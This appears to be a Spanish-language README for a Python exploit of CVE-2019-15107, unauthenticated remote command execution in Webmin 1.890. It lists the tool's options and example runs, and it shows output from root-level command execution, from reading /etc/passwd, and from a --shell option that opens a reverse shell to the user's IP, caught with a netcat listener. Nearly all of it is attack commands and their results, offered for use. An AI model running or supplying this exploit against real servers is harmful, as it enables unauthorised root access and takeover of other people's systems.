
CVE-2019-15107 Webmin RCE sin autenticación
Este script está diseñado para explotar la vulnerabilidad de ejecución de comandos no autenticada en Webmin 1.890. Permite ejecutar comandos arbitrarios en un servidor Webmin objetivo u obtener una shell inversa.
El exploit acepta 5 argumentos:
$ python3 test.py -h
usage: test.py [-h] -i IP Address [-p Port number] [-c Command] [--shell] [-x]
Exploit unauthenticated command execution in Webmin 1.890.
options:
-h, --help show this help message and exit
required arguments:
-i IP Address, --ip IP Address
Target ip address
optional arguments:
-p Port number, --port Port number
Webmin port(default=10000)
-c Command, --command Command
OS Command to execute (Default=id)
--shell Get a reverse shell
-x, --proxy Sends requests through Burp Suite proxy at 127.0.0.1:8080.
Example:
python exploit.py -i 192.168.1.100
python exploit.py -i 192.168.1.100 -p 10000 -c whoami
python exploit.py -i 192.168.1.100 -x -c "ls -la"
python exploit.py -i 192.168.1.100 --shell
La única opción requerida es -i, que es la dirección IP del objetivo.
Si se ejecuta el exploit solo con -i, se ejecutará el comando id en un objetivo ubicado en el puerto 10000.
$ python3 exploit.py -i 10.200.105.200
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
Puedes especificar qué comando ejecutar usando las opciones -c o --command:
$ python3 exploit.py -i 10.200.105.200 -c 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
[...]
También puedes obtener una shell inversa usando la opción --shell.
Se te pedirá que introduzcas tu dirección IP y el puerto de escucha:
$ python3 exploit.py -i 10.200.105.200 --shell
Enter your ip address: 10.50.106.33
Enter your listening port: 9001
[+] Sending a shell to 10.50.106.33:9001...
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.50.106.33] from (UNKNOWN) [10.200.105.200] 41446
[root@prod-serv ]#
Al añadir la opción -x o --proxy, puedes enviar la petición a través del proxy de Burp en 127.0.0.1:8080.